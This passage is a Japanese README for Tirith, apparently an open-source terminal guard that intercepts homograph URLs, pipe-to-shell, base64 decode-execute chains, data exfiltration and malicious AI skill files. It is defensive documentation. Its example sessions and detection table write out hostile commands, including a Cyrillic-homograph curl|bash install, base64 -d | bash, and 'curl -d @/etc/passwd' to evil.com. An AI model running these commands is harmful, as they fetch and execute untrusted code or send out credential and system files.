開発者とAIエージェント向けのターミナルセキュリティ。ホモグラフURL、パイプ→シェル、ANSIインジェクション、難読化されたペイロード、データの外部流出、悪意あるAIスキル/設定を実行前にインターセプトします。
ブラウザならこれを検知できる。ターミナルではできない。
Website | Docs | SKILL.md | Changelog | Releases
独立したオープンソースプロジェクト。ホスティングは Vercel Open Source Program（Spring 2026 Cohort）の支援を受けています。
違いがわかりますか？``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
あなたには見分けられない。あなたのターミナルにも見分けられない。`і` の文字はどちらもキリル文字（U+0456）であり、ラテン文字の `i` ではない。2番目のURLは攻撃者のサーバーに解決される。スクリプトはあなたが気づく前に実行される。
ブラウザは何年も前にこれを解決した。ターミナルは今なお、Unicode、ANSIエスケープ、不可視文字を疑いもなくレンダリングする。AIエージェントは、中身を検査することなくシェルコマンドを実行し、パッケージをインストールする。
**Tirithは門の前に立つ。** コマンド、貼り付けられたコンテンツ、スキャンされたファイルを傍受し、ホモグラフURL、難読化されたペイロード、認証情報の窃取、悪意のあるAIスキル/設定、そして署名済み脅威インテリジェンスデータベースからの既知の悪性パッケージ/ドメイン/IPを、それらが実行される前に検出する。```bash
brew install tirith
次に、シェルプロファイルで有効化します:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` は現在のシェルを自動検出します（親プロセスを検査し、必要に応じて `$SHELL` にフォールバックします）。明示的な `--shell` フラグが必要なのは、検出を上書きしたい場合だけです。
対話型シェルへの対応は以上です。そのシェルが受け付けるコマンドは、フックが読み込まれ正常に動作している間にチェックされます。実際のブロック動作はシェルとモードによって異なります。インストール後およびアップグレード後に `tirith doctor` を実行し、フックを認可境界として扱う前に [シェルごとの強制](#enforcement-by-shell) をお読みください。クリーンなコマンドは何も表示せず、通常は高速パスを通ります。
[npm](#cross-platform)、[cargo](#cross-platform)、[mise](#cross-platform)、[apt/dnf](#linux-packages)、その[他](#install)からも利用できます。
---
## 動作を見る
**ホモグラフ攻撃、実行前にブロック:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
コマンドは決して実行されない。
クリーンなURLによるパイプ・トゥ・シェル、警告あり、ブロックなし：``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
警告は stderr に出力されます。コマンドはそれでも実行されます。
**Base64 デコード・実行チェーン、ブロック済み:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
sudo/env ラッパーや PowerShell の -EncodedCommand を経由したデコードチェーンも捕捉します。
認証情報の持ち出し、ブロック済み:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
curl/wgetのアップロードフラグ、環境変数（`$AWS_SECRET_ACCESS_KEY`）、コマンド置換をすべてカバーします。
**スキャンで検出された悪意のあるスキルファイル：**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
JS/Pythonファイルをスキャンして、難読化されたペイロード、動的コード実行、シークレットの外部送信パターンを検出します。
通常のコマンド、不可視:``` $ git status $ ls -la $ docker compose up -d
何もない。出力ゼロ。tirithが動いていることを忘れている。
---
## 検出できるもの
**35カテゴリにわたる244の検出ルール。**
| カテゴリ | 阻止するもの |
|----------|--------------|
| **ホモグラフ攻撃** | ホスト名内のキリル文字/ギリシャ文字の類似文字、punycodeドメイン、混在スクリプトのラベル、類似TLD、紛らわしいドメイン、テキストレベルの紛らわしい文字検出（数学用英数字、同一単語の混在スクリプト） |
| **ターミナルインジェクション** | ANSIエスケープシーケンス、双方向制御文字、ゼロ幅文字、Unicodeタグ、不可視の数学演算子、異体字セレクタ、ハングルフィラー |
| **ステガノグラフィー防御** | 不可視の空白エンコーディング（12種類のUnicode空白バリアント）、モンゴル語母音区切り文字、ハングルフィラー文字、数学用英数字置換、st3ggスタイルのテキストステガノグラフィーへの防御 |
| **パイプ・トゥ・シェル** | `curl \| bash`、`wget \| sh`、`httpie \| sh`、`xh \| sh`、`python <(curl ...)`、`eval $(wget ...)`、および多数のラッパー、デコード、間接パス |
| **Base64デコード・実行** | `base64 -d \| bash`、`python -c "exec(b64decode(...))"`、`powershell -EncodedCommand`、sudo/envラッパーを経由するデコードチェーン |
| **データ流出** | `curl -d @/etc/passwd`、`curl -T ~/.ssh/id_rsa`、`wget --post-file`、環境変数のアップロード（`$AWS_SECRET_ACCESS_KEY`）、コマンド置換による流出 |
| **コードファイルスキャン** | 難読化されたペイロード（`eval(atob(...))`）、動的コード実行（`exec(b64decode(...))`）、JS/Pythonファイル内の`fetch`/`requests.post`によるシークレット流出 |
| **認証情報検出** | AWSキー、GitHub PAT、Stripe/Slack/SendGrid/Anthropic/GCP/npmトークン、秘密鍵ブロック、およびエントロピーベースの汎用シークレット検出 |
| **侵害後行動** | プロセスメモリスキャレンジング（`/proc/*/mem`）、Dockerリモート権限昇格、認証情報ファイルの一掃、TeamPCPおよびUNC1069の侵害後ツール群に対して調整済み |
| **コマンド安全性** | ドットファイルの上書き、機密パスへのアーカイブ展開、クラウドメタデータエンドポイントへのアクセス、プライベートネットワークアクセス |
| **安全でないトランスポート** | シェルにパイプされる平文HTTP、`curl -k`、無効化されたTLS検証、宛先を隠す短縮URL |
| **環境** | プロキシハイジャック、機密環境変数のエクスポート、環境経由のコードインジェクション、インタプリタハイジャック、シェルインジェクション環境 |
| **設定ファイルセキュリティ** | 設定インジェクション、不審なインジケータ、設定内の非ASCII/不可視Unicode、MCPサーバーセキュリティ（安全でない/信頼できない/重複/過度に許容的） |
| **エコシステムの脅威** | Git cloneのタイポスクワット、信頼できないDockerレジストリ、pip/npmのURLインストール、web3 RPCエンドポイント、vet-not-configured |
| **インストールコマンドの安全性** | パイプされたダウンロードから追加されたAPTリポジトリ、`[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never`（署名チェックの無効化）、生/短縮リモートマニフェストに対する`kubectl apply -f`、信頼できないリポジトリからのHelmチャート、信頼できないリモートソースからのTerraformモジュール、任意のURLからの`brew install`/`tap` |
| **パス分析** | 非ASCIIパス、パス内のホモグリフ、二重エンコーディング |
| **レンダリングコンテンツ** | 隠されたCSS/色コンテンツ、隠されたHTML属性、コメントコンテンツ分析（プロンプトインジェクションはHigh、破壊的コマンドはMedium） |
| **クローキング検出** | サーバーサイドクローキング（ボット対ブラウザ）、クリップボードの隠しコンテンツ、PDFの隠しテキスト |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`、Windows Defenderの除外設定（`Add-MpPreference -Exclusion*`）、インラインの`iex (iwr ...)`ダウンロード・実行 |
| **ターミナル出力防御** | OSC 52クリップボード書き込み、偽プロンプト、OSC 8ハイパーリンクとタイトル/画面クリア操作、コマンドまたはMCPツール出力内のプロンプトインジェクション（生および難読化解除の両方でスキャンされるため、不可視文字、紛らわしい文字、スペース挿入、リートスピーク、短いbase64/hexによる回避も検出される）、および出力データ流出（ビーコンURLまたは「シークレットを読んで送信する」指示） |
| **運用コンテキスト** | ラベル付き本番クラウド/k8sコンテキストおよびSSHホストに対する破壊的コマンド、一致する保存済みプランなしのTerraform / Pulumi / OpenTofu `apply`、危険なsudo昇格、特権付き`docker run` |
| **ワークステーションと永続化** | 緩い権限の認証情報ファイルと平文トークン（`~/.ssh`、`~/.aws`、`.npmrc`）、永続化の足がかり（シェルrc、`authorized_keys`、crontab、LaunchAgents、git `core.hooksPath`）、PATHハイジャックの順序、実行ファイルの来歴、危険なエイリアス、機密環境変数のライフサイクル |
| **影響範囲と相関** | リポジトリを脱出する削除、大量削除、危険なソースからダウンロードされたファイルの実行、シークレット書き込み後のネットワークアクセスや削除後の`git push --force`などのセッションチェーン |
| **信頼、アテステーション、来歴** | 署名済みコマンドカードの不一致、カナリアハニートークンの接触、ペースト元ホストの不一致、呼び出し元オリジン（エージェント）ポリシーの拒否、MCPロックファイルのドリフト、既知の安全なスナップショットに対するAI設定のドリフト |
| **Web3コマンドガード** | Cast / Forge / Hardhat / Solana / Anchorコマンドからのオンチェーン書き込み（同じコマンドが宣言された安全制御も無効にする場合はHigh）、コマンドライン上の生の秘密鍵、キーペア、またはニーモニック素材、およびオペレータの`web3_guard`ポリシーが信頼しないRPCエンドポイントまたは署名者。文法とポリシーのみ：チェーン状態は読まず、トランザクションはシミュレートせず、アドレスのスコアリングも行わない |
| **ウォレット流出** | レビュー済みウォレット、キーストア、ブラウザウォレット、Solanaキーペア素材が証明されたリモートシンクへ流れること。アーカイブ、base64、hex、圧縮、暗号化のステージングホップ、および`xargs` / `find -exec`オペランド昇格を含む。ソースのみの読み取りは意図的に検出対象としない |
| **CIアーティファクトポイズニング** | ビルドアーティファクトをアップロードするフォーク到達可能なワークフローが、トリガーとなった実行にバインドされた特権`workflow_run`ワークフローによって消費され、それが実行、ソース化、PATH変更、公開、またはデプロイする |
---
## tirithが防御しないもの
Tirithはコマンド、ペーストされたテキスト、およびファイルの**構造**を実行前に分析する。これは実行前のゲートであり、ランタイム防御ではなく、以下をカバーしない：